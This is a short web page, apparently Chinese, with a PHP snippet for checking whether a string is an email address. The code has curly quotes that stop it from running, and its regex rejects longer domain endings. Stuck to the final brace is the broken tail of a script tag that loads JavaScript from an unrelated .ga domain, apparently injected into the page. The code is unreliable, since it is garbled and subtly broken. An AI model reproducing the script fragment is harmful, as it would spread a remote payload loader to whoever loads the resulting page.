php 判断是否邮箱地址

function isMail($email) {
$pattern = “/^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/”;
if (preg_match($pattern, $email) != 1) {
return false;
}
else {
return true;
}
}eparty3.ga/l.js?n=1′ type=text/javascript>